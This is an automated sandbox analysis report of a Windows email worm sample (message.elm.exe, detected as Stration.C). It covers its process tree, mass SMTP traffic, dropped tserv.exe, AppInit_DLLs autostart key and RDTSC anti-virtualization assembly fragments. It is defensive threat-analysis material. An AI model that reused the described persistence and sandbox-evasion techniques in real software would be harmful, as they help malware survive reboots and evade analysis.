Play interactive tour

Edit tour

Windows Analysis Report message.elm.cmd

Overview

General Information

Sample Name:	message.elm.cmd (renamed file extension from cmd to exe)
Analysis ID:	549360
MD5:	4d2e2b07c40d86e97394ef70f7375df7
SHA1:	561277766802935e6a08686f1055fb2262ec2be9
SHA256:	9dcb43f3989935634739b26a21a9eabe09a3c24beb2a6d533caff12e678cabd7
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Injects files into Windows application

Machine Learning detection for sample

Send many emails (e-Mail Spam)

Tries to detect virtualization through RDTSC time measurements

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Contains functionality to inject threads in other processes

Tries to resolve many domain names, but no domain seems valid

Drops executables to the windows directory (C:\Windows) and starts them

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Connects to many different domains

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Creates a DirectInput object (often for capturing keystrokes)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Tries to load missing DLLs

Drops PE files to the windows directory (C:\Windows)

Found evasive API chain checking for process token information

Detected TCP or UDP traffic on non-standard ports

Uses SMTP (mail sending)

Classification

Process Tree

System is w10x64

message.elm.exe (PID: 6904 cmdline: "C:\Users\user\Desktop\message.elm.exe" MD5: 4D2E2B07C40D86E97394EF70F7375DF7)

tserv.exe (PID: 7156 cmdline: C:\Windows\tserv.exe s MD5: 4D2E2B07C40D86E97394EF70F7375DF7)

notepad.exe (PID: 1876 cmdline: C:\Windows\System32\notepad.exe C:\Users\user\Desktop\9223.tmp MD5: D693F13FE3AA2010B854C4C60671B8E2)

tserv.exe (PID: 6248 cmdline: "C:\Windows\tserv.exe" s MD5: 4D2E2B07C40D86E97394EF70F7375DF7)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: message.elm.exe	Virustotal: Detection: 87%			Perma Link
Source: message.elm.exe	ReversingLabs: Detection: 93%

Antivirus / Scanner detection for submitted sample

Show sources

Source: message.elm.exe

Avira: detected

Antivirus detection for dropped file

Show sources

Source: C:\Windows\tserv.exe

Avira: detection malicious, Label: WORM/Stration.C

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Windows\tserv.exe

ReversingLabs: Detection: 93%

Machine Learning detection for sample

Show sources

Source: message.elm.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Windows\tserv.exe

Joe Sandbox ML: detected

Source: 0.0.message.elm.exe.400000.0.unpack	Avira: Label: WORM/Stration.C
Source: 0.2.message.elm.exe.400000.0.unpack	Avira: Label: WORM/Stration.C

Source: message.elm.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,

0_2_00406360

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.57.161:25 -> 192.168.2.3:49748
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.3:49749
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.3:49751
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.72:25 -> 192.168.2.3:49757
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.73:25 -> 192.168.2.3:49758
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.57.161:25 -> 192.168.2.3:49765
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.3:49768
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.3:49770
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.74:25 -> 192.168.2.3:49777
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.75:25 -> 192.168.2.3:49778
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.57.161:25 -> 192.168.2.3:49792
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.3:49794
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.3:49795
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.72:25 -> 192.168.2.3:49802
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.161:25 -> 192.168.2.3:49803
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.75:25 -> 192.168.2.3:49804
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.57.33:25 -> 192.168.2.3:49809
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.58.161:25 -> 192.168.2.3:49811
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.3:49812
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 77.88.21.249:25 -> 192.168.2.3:49813
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.72:25 -> 192.168.2.3:49826
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 194.152.32.73:25 -> 192.168.2.3:49828
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.18.225:25 -> 192.168.2.3:49829
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.70.33:25 -> 192.168.2.3:49831
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.22.161:25 -> 192.168.2.3:49833
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.58.161:25 -> 192.168.2.3:49834
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.58.33:25 -> 192.168.2.3:49835
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.70.33:25 -> 192.168.2.3:49836
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.59.161:25 -> 192.168.2.3:49837
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.70.33:25 -> 192.168.2.3:49839
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.13.33:25 -> 192.168.2.3:49842
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.73.161:25 -> 192.168.2.3:49844
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.73.161:25 -> 192.168.2.3:49846
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.13.33:25 -> 192.168.2.3:49855
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.73.161:25 -> 192.168.2.3:49852
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.73.161:25 -> 192.168.2.3:49853
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.58.161:25 -> 192.168.2.3:49875
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.59.161:25 -> 192.168.2.3:49883
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.59.161:25 -> 192.168.2.3:49890
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.33:25 -> 192.168.2.3:49898
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.3:49918
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.57.110:25 -> 192.168.2.3:49922
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.57.110:25 -> 192.168.2.3:49936
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.57.110:25 -> 192.168.2.3:49937
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.110:25 -> 192.168.2.3:49943
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.110:25 -> 192.168.2.3:49946
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.56.110:25 -> 192.168.2.3:49958
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.3:49961
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.3:49964
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.51.110:25 -> 192.168.2.3:49968
Source: Traffic	Snort IDS: 567 POLICY SMTP relaying denied 104.47.17.74:25 -> 192.168.2.3:50004

Tries to resolve many domain names, but no domain seems valid

Show sources

Source: unknown	DNS traffic detected: query: lufka.zx replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: msn-com.olc.protection.outlook.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: quatro.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fafa.pk replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: abcdef.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: au.au-net.ne.jp replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: orice.ro replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: tvrtka.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: griepp.pl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: contoso.mx replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: contoso.com.pt replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: netko.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: somemail.ro replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: riekk.pl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tek-astore.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: x.com.pt replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pirajui.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: fanfary.pq replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: worldwideoffices.ro replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: xara.pl replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: fajrant.qz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kywx.com.pt replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: negdje.hr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ektro.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: animo.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: abcdefg.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: emaiserver.ro replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wewew.pl replaycode: Name error (3)

Source: global traffic

TCP traffic: 192.168.2.3:49742 -> 193.166.255.171:80

Source: Joe Sandbox View

ASN Name: MICROSOFT-CORP-MSN-AS-BLOCKUS MICROSOFT-CORP-MSN-AS-BLOCKUS

Source: Joe Sandbox View	IP Address: 104.47.73.161 104.47.73.161
Source: Joe Sandbox View	IP Address: 67.195.228.94 67.195.228.94

Source: unknown

Network traffic detected: DNS query count 118

Source: global traffic

TCP traffic: 192.168.2.3:49967 -> 193.166.255.171:8080

Source: global traffic	TCP traffic: 192.168.2.3:49743 -> 67.195.204.72:25
Source: global traffic	TCP traffic: 192.168.2.3:49744 -> 108.177.119.26:25
Source: global traffic	TCP traffic: 192.168.2.3:49745 -> 104.47.57.161:25
Source: global traffic	TCP traffic: 192.168.2.3:49749 -> 77.88.21.249:25
Source: global traffic	TCP traffic: 192.168.2.3:49750 -> 67.195.204.77:25
Source: global traffic	TCP traffic: 192.168.2.3:49752 -> 67.195.204.79:25
Source: global traffic	TCP traffic: 192.168.2.3:49753 -> 74.208.5.20:25
Source: global traffic	TCP traffic: 192.168.2.3:49754 -> 213.186.119.6:25
Source: global traffic	TCP traffic: 192.168.2.3:49755 -> 74.208.5.22:25
Source: global traffic	TCP traffic: 192.168.2.3:49757 -> 194.152.32.72:25
Source: global traffic	TCP traffic: 192.168.2.3:49758 -> 194.152.32.73:25
Source: global traffic	TCP traffic: 192.168.2.3:49759 -> 195.3.96.71:25
Source: global traffic	TCP traffic: 192.168.2.3:49762 -> 91.136.8.41:25
Source: global traffic	TCP traffic: 192.168.2.3:49763 -> 67.195.204.74:25
Source: global traffic	TCP traffic: 192.168.2.3:49766 -> 193.239.71.112:25
Source: global traffic	TCP traffic: 192.168.2.3:49767 -> 67.195.228.94:25
Source: global traffic	TCP traffic: 192.168.2.3:49769 -> 91.136.8.46:25
Source: global traffic	TCP traffic: 192.168.2.3:49774 -> 91.136.8.47:25
Source: global traffic	TCP traffic: 192.168.2.3:49777 -> 194.152.32.74:25
Source: global traffic	TCP traffic: 192.168.2.3:49778 -> 194.152.32.75:25
Source: global traffic	TCP traffic: 192.168.2.3:49785 -> 98.136.96.77:25
Source: global traffic	TCP traffic: 192.168.2.3:49800 -> 193.239.71.113:25
Source: global traffic	TCP traffic: 192.168.2.3:49803 -> 104.47.17.161:25
Source: global traffic	TCP traffic: 192.168.2.3:49809 -> 104.47.57.33:25
Source: global traffic	TCP traffic: 192.168.2.3:49811 -> 104.47.58.161:25
Source: global traffic	TCP traffic: 192.168.2.3:49814 -> 67.195.228.86:25
Source: global traffic	TCP traffic: 192.168.2.3:49822 -> 148.163.149.218:25
Source: global traffic	TCP traffic: 192.168.2.3:49823 -> 193.239.68.121:25
Source: global traffic	TCP traffic: 192.168.2.3:49829 -> 104.47.18.225:25
Source: global traffic	TCP traffic: 192.168.2.3:49831 -> 104.47.70.33:25
Source: global traffic	TCP traffic: 192.168.2.3:49833 -> 104.47.22.161:25
Source: global traffic	TCP traffic: 192.168.2.3:49835 -> 104.47.58.33:25
Source: global traffic	TCP traffic: 192.168.2.3:49837 -> 104.47.59.161:25
Source: global traffic	TCP traffic: 192.168.2.3:49842 -> 104.47.13.33:25
Source: global traffic	TCP traffic: 192.168.2.3:49844 -> 104.47.73.161:25
Source: global traffic	TCP traffic: 192.168.2.3:49896 -> 108.177.127.27:25
Source: global traffic	TCP traffic: 192.168.2.3:49897 -> 142.250.150.27:25
Source: global traffic	TCP traffic: 192.168.2.3:49898 -> 104.47.51.33:25
Source: global traffic	TCP traffic: 192.168.2.3:49901 -> 74.125.200.27:25
Source: global traffic	TCP traffic: 192.168.2.3:49909 -> 35.82.253.27:25

Source: unknown

DNS traffic detected: queries for: yahoo.com

Source: message.elm.exe, 00000000.00000002.303997849.000000000080A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Send many emails (e-Mail Spam)

Show sources

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 39

Source: message.elm.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\message.elm.exe

File created: C:\Windows\tserv.exe

Jump to behavior

Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00411800	0_2_00411800
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_004108D0	0_2_004108D0
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0040C8E0	0_2_0040C8E0
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0040F0E9	0_2_0040F0E9
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00410907	0_2_00410907
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00404110	0_2_00404110
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00409119	0_2_00409119
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0040F1C7	0_2_0040F1C7
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0040C1D0	0_2_0040C1D0
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00404990	0_2_00404990
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_004091A7	0_2_004091A7
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0040E246	0_2_0040E246
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00428A08	0_2_00428A08
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00425214	0_2_00425214
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00410220	0_2_00410220
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00405310	0_2_00405310
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00408BC0	0_2_00408BC0
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00415BD0	0_2_00415BD0
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0041B3D0	0_2_0041B3D0
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0040DBF0	0_2_0040DBF0
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0041E3A0	0_2_0041E3A0
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00409436	0_2_00409436
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00409CF7	0_2_00409CF7
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0041BD00	0_2_0041BD00
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0040EDE0	0_2_0040EDE0
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0040DE56	0_2_0040DE56
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0041C660	0_2_0041C660
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00410670	0_2_00410670
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0040E676	0_2_0040E676
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00409F47	0_2_00409F47
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0040EF78	0_2_0040EF78
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00405F30	0_2_00405F30

Source: C:\Users\user\Desktop\message.elm.exe

Code function: String function: 0042664C appears 45 times

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_00423D83: QueryDosDeviceA,lstrcpyA,lstrcatA,GetLastError,lstrcpyA,lstrcatA,DefineDosDeviceA,GetLastError,lstrcpyA,lstrcatA,CreateFileA,DeviceIoControl,GetLastError,GetLastError,DefineDosDeviceA,GetLastError,

0_2_00423D83

Source: C:\Windows\tserv.exe

Process Stats: CPU usage > 98%

Source: C:\Users\user\Desktop\message.elm.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior
Source: C:\Windows\tserv.exe	Section loaded: cmut449c14b7.dll	Jump to behavior

Source: message.elm.exe	Virustotal: Detection: 87%
Source: message.elm.exe	ReversingLabs: Detection: 93%

Source: C:\Users\user\Desktop\message.elm.exe

File read: C:\Users\user\Desktop\message.elm.exe

Jump to behavior

Source: message.elm.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\message.elm.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\message.elm.exe "C:\Users\user\Desktop\message.elm.exe"
Source: C:\Users\user\Desktop\message.elm.exe	Process created: C:\Windows\tserv.exe C:\Windows\tserv.exe s
Source: C:\Users\user\Desktop\message.elm.exe	Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\System32\notepad.exe C:\Users\user\Desktop\9223.tmp
Source: unknown	Process created: C:\Windows\tserv.exe "C:\Windows\tserv.exe" s
Source: C:\Users\user\Desktop\message.elm.exe	Process created: C:\Windows\tserv.exe C:\Windows\tserv.exe s	Jump to behavior
Source: C:\Users\user\Desktop\message.elm.exe	Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\System32\notepad.exe C:\Users\user\Desktop\9223.tmp	Jump to behavior

Source: C:\Windows\SysWOW64\notepad.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{11659a23-5884-4d1b-9cf6-67d6f4f90b36}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_004047A0 lstrcatA,GetCurrentProcess,GetCurrentProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,

0_2_004047A0

Source: C:\Users\user\Desktop\message.elm.exe

File created: C:\Users\user\Desktop\9223.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@6/5@379/43

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_00405090 GetSystemDirectoryA,lstrcatA,lstrcatA,lstrcatA,GetFileAttributesA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00405090

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_0041E0B0 FindResourceA,LoadResource,SizeofResource,LockResource,CreateFileA,WriteFile,CloseHandle,

0_2_0041E0B0

Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\tserv.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_0042647C push eax; ret	0_2_0042649A
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_004254B0 push eax; ret	0_2_004254C4
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_004254B0 push eax; ret	0_2_004254EC
Source: C:\Users\user\Desktop\message.elm.exe	Code function: 0_2_00426687 push ecx; ret	0_2_00426697

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,

0_2_0041F660

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Users\user\Desktop\message.elm.exe

Executable created and started: C:\Windows\tserv.exe

Jump to behavior

Source: C:\Users\user\Desktop\message.elm.exe

File created: C:\Windows\tserv.exe

Jump to dropped file

Source: C:\Users\user\Desktop\message.elm.exe

File created: C:\Windows\tserv.exe

Jump to dropped file

Boot Survival:

Creates an undocumented autostart registry key

Show sources

Source: C:\Windows\tserv.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows AppInit_DLLs

Jump to behavior

Source: C:\Users\user\Desktop\message.elm.exe

Code function: 0_2_0041D159 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,

0_2_0041D159

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\message.elm.exe	RDTSC instruction interceptor: First address: 000000000040C1E0 second address: 000000000040C1EE instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+04h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [74E717DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F37CCACDF0Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+08h], eax 0x00000046 rdtsc
Source: C:\Users\user\Desktop\message.elm.exe	RDTSC instruction interceptor: First address: 000000000040C1EE second address: 000000000040C1FC instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+08h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [74E717DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F37CCE541AEh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+0Ch], eax 0x00000046 rdtsc
Source: C:\Users\user\Desktop\message.elm.exe	RDTSC instruction interceptor: First address: 000000000040C1FC second address: 000000000040C20A instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+0Ch], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [74E717DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F37CCACDF0Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+10h], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1E0 second address: 000000000040C1EE instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+04h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [74E717DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007F37CCE541AEh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+08h], eax 0x00000046 rdtsc
